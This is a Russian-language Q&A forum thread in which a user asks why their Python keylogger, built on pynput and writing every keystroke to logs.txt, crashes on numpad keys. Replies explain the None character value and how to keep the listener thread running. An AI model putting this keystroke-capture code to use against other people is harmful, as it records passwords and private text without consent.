@aeollous

Почему код перестает работать когда пишу с Numpad?

from pynput import keyboard

class KeyLogger():
    def __init__(self):
        self.filename = "logs.txt"

    def get_char(self, key):
        try:
            return key.char
        except AttributeError:
            return str(key)

    def press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key) + " ")

    def listener(self):
        listen = keyboard.Listener(on_press=self.press)
        listen.start()

if __name__ == '__main__':
    KeyLogger().listener()
    input()


TypeError: unsupported operand type(s) for +: 'NoneType' and 'str'
  • Вопрос задан
  • 123 просмотра
Пригласить эксперта
Ответы на вопрос 2
Потому что key.char возвращает None, когда ты нажимаешь на нампад
Ответ написан
Vindicar
@Vindicar
RTFM!
По поводу твоего второго вопроса: listener - это почти наверняка поток выполнения. И я подозреваю, что этот поток отмечен как daemon - т.е. фоновый поток. Он работает независимо от главного потока, который выполняет тело программы. Главный поток запускает listener, и переходит на input(). Когда input() вернёт управление, главный поток дойдёт до конца программы и завершится.
Когда в программе на питоне остаются только фоновые потоки, она завершается.
Так что если тебе нужно, чтобы программа просто ждала, while True: time.sleep(1.0) в помощь. Этот цикл прервать будет сложно.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы